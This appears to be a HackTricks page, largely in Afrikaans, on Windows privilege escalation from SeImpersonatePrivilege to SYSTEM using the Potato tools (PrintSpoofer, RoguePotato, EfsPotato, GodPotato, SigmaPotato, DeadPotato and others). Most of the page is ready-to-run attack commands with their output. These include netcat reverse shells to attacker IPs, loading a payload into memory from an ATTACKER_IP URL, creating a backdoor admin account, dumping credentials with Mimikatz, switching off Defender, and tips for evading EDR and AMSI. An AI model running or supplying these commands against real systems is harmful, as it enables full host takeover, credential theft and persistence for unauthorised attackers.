RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Warning

JuicyPotato werk nie op Windows Server 2019 en Windows 10 build 1809 en later nie. Nietemin, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato, EfsPotato, DCOMPotato** kan gebruik word om dieselfde voorregte te benut en NT AUTHORITY\SYSTEM vlak toegang te kry. Hierdie blog post bespreek die PrintSpoofer tool in diepte, wat gebruik kan word om impersonation-voorregte te misbruik op Windows 10 en Server 2019 gasheer waar JuicyPotato nie meer werk nie.

Tip

’n Moderne alternatief wat gereeld onderhoud ontvang in 2024–2025 is SigmaPotato (‚n fork van GodPotato) wat in-memory/.NET reflection gebruik en uitgebreide OS-ondersteuning byvoeg. Sien vinnige gebruik hieronder en die repo in Verwysings.

Related pages for background and manual techniques:

SeImpersonate from High To System

From High Integrity to SYSTEM with Name Pipes

Abusing Tokens

Vereistes en algemene valkuils

Al die volgende tegnieke berus op die misbruik van ’n bevoorregte diens wat impersonation toelaat, vanuit ’n konteks wat een van die volgende voorregte het:

  • SeImpersonatePrivilege (mees algemeen) of SeAssignPrimaryTokenPrivilege
  • Hoë integriteit is nie nodig as die token reeds SeImpersonatePrivilege het (tipies vir baie diensrekeninge soos IIS AppPool, MSSQL, ens.)

Kontroleer voorregte vinnig:

whoami /priv | findstr /i impersonate

Operasionele aantekeninge:

  • As jou shell onder ’n beperkte token loop sonder SeImpersonatePrivilege (algemeen vir Local Service/Network Service in sommige kontekste), herstel die rekening se standaard privilègies met FullPowers, en voer dan ’n Potato uit. Voorbeeld: FullPowers.exe -c "cmd /c whoami /priv" -z
  • PrintSpoofer benodig die Print Spooler-diens wat loop en bereikbaar is oor die plaaslike RPC-endpoint (spoolss). In geharde omgewings waar Spooler na PrintNightmare gedeaktiveer is, verkies RoguePotato/GodPotato/DCOMPotato/EfsPotato.
  • RoguePotato vereis ’n OXID resolver wat bereikbaar is op TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Ouer builds het die -f vlag benodig.
  • EfsPotato/SharpEfsPotato misbruik MS-EFSR; as een pipe geblokkeer is, probeer alternatiewe pipes (lsarpc, efsrpc, samr, lsass, netlogon).
  • Fout 0x6d3 tydens RpcBindingSetAuthInfo dui gewoonlik op ’n onbekende/onondersteunde RPC-authentikasiediens; probeer ’n ander pipe/transport of verseker dat die teiken-diens loop.
  • “Kitchen-sink” forks soos DeadPotato bundel ekstra payload-modules (Mimikatz/SharpHound/Defender off) wat die skyf raak; verwag hoër EDR-detectie in vergelyking met die slanke oorspronklikes.

Vinnige Demo

PrintSpoofer

c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

--------------------------------------------------------------------------------

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

NULL

Aantekeninge:

  • Jy kan -i gebruik om ’n interaktiewe proses in die huidige konsole te begin, of -c om ’n one-liner uit te voer.
  • Vereis die Spooler-diens. As dit afgeskakel is, sal dit misluk.

RoguePotato

c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

As uitgaande 135 geblokkeer is, pivot die OXID resolver via socat op jou redirector:

# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999

PrintNotifyPotato

PrintNotifyPotato is ’n nuwer COM-misbruik-primitive wat laat in 2022 vrygestel is en die PrintNotify-diens teiken in plaas van Spooler/BITS. Die binêre instansieer die PrintNotify COM-bediener, vervang IUnknown met ’n vals een, en aktiveer dan ’n bevoorregte callback via CreatePointerMoniker. Wanneer die PrintNotify-diens (wat as SYSTEM loop) terugkoppel, dupliseer die proses die teruggegewe token en spawn die verskafte payload met volle voorregte.

Key operational notes:

  • Werks op Windows 10/11 en Windows Server 2012–2022 solank die Print Workflow/PrintNotify-diens geïnstalleer is (dit is teenwoordig selfs wanneer die ou Spooler gedeaktiveer is na PrintNightmare).
  • Vereis dat die oproepende konteks SeImpersonatePrivilege hou (tipies vir IIS APPPOOL, MSSQL en geskeduleerde-taak diensrekeninge).
  • Aanvaar óf ’n direkte opdrag óf ’n interaktiewe modus sodat jy binne die oorspronklike konsole kan bly. Voorbeeld:
PrintNotifyPotato.exe cmd /c "powershell -ep bypass -File C:\ProgramData\stage.ps1"
PrintNotifyPotato.exe whoami
  • Omdat dit suiwer COM-gebaseer is, is geen named-pipe-luisteraars of eksterne omleidings benodig nie, wat dit ’n drop-in vervanging maak op gasheerstelsels waar Defender RoguePotato’s RPC-binding blokkeer.

Operateurs soos Ink Dragon aktiveer PrintNotifyPotato onmiddellik nadat hulle ViewState RCE op SharePoint verkry het om van die w3wp.exe worker na SYSTEM te pivot voordat hulle ShadowPad installeer.

SharpEfsPotato

> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\temp>type C:\temp\w.log
nt authority\system

EfsPotato

> EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=aeee30)
[+] Get Token: 888
[!] process with pid: 3696 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818

nt authority\system

Wenk: As een pipe misluk of EDR dit blokkeer, probeer die ander ondersteunde pipes:

EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)

GodPotato

> GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

Aantekeninge:

  • Werk op Windows 8/8.1–11 en Server 2012–2022 wanneer SeImpersonatePrivilege teenwoordig is.

DCOMPotato

image

DCOMPotato verskaf twee variante wat service DCOM-objekte teiken wat standaard op RPC_C_IMP_LEVEL_IMPERSONATE staan. Bou of gebruik die verskafde binaries en voer jou opdrag uit:

# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"

# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"

SigmaPotato (opgedateerde GodPotato fork)

SigmaPotato voeg moderne geriewe by, soos in-memory execution via .NET reflection en ’n PowerShell reverse shell helper.

# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
[SigmaPotato]::Main("cmd /c whoami")

# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))

Additional perks in 2024–2025 builds (v1.2.x):

  • Ingeboude reverse shell-vlag --revshell en verwydering van die 1024-karakter PowerShell-limiet, sodat jy lang AMSI-bypassing payloads in een keer kan stuur.
  • Reflection-vriendelike sintaksis ([SigmaPotato]::Main()), plus ’n rudimentêre AV-omseiltruk via VirtualAllocExNuma() om eenvoudige heuristieke te mislei.
  • Afsonderlike SigmaPotatoCore.exe gekompileer teen .NET 2.0 vir PowerShell Core-omgewings.

DeadPotato (2024 GodPotato-herwerking met modules)

DeadPotato behou die GodPotato OXID/DCOM impersonation chain, maar bou post-exploitation helpers in sodat operatoren onmiddellik SYSTEM kan neem en persistence/collection kan uitvoer sonder bykomende tooling.

Common modules (alle vereis SeImpersonatePrivilege):

  • -cmd "<cmd>" — spawn enige opdrag as SYSTEM.
  • -rev <ip:port> — vinnige reverse shell.
  • -newadmin user:pass — skep ’n plaaslike admin vir persistence.
  • -mimi sam|lsa|all — drop en run Mimikatz om credentials te dump (skryf na skyf, lawaaierig).
  • -sharphound — run SharpHound collection as SYSTEM.
  • -defender off — skakel Defender real-time protection af (baie lawaaierig).

Example one-liners:

# Blind reverse shell
DeadPotato.exe -rev 10.10.14.7:4444

# Drop an admin for later login
DeadPotato.exe -newadmin pwned:P@ssw0rd!

# Run SharpHound immediately after priv-esc
DeadPotato.exe -sharphound

Omdat dit ekstra binaries insluit, verwag hoër AV/EDR flags; gebruik die ligter GodPotato/SigmaPotato wanneer stealth saak maak.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks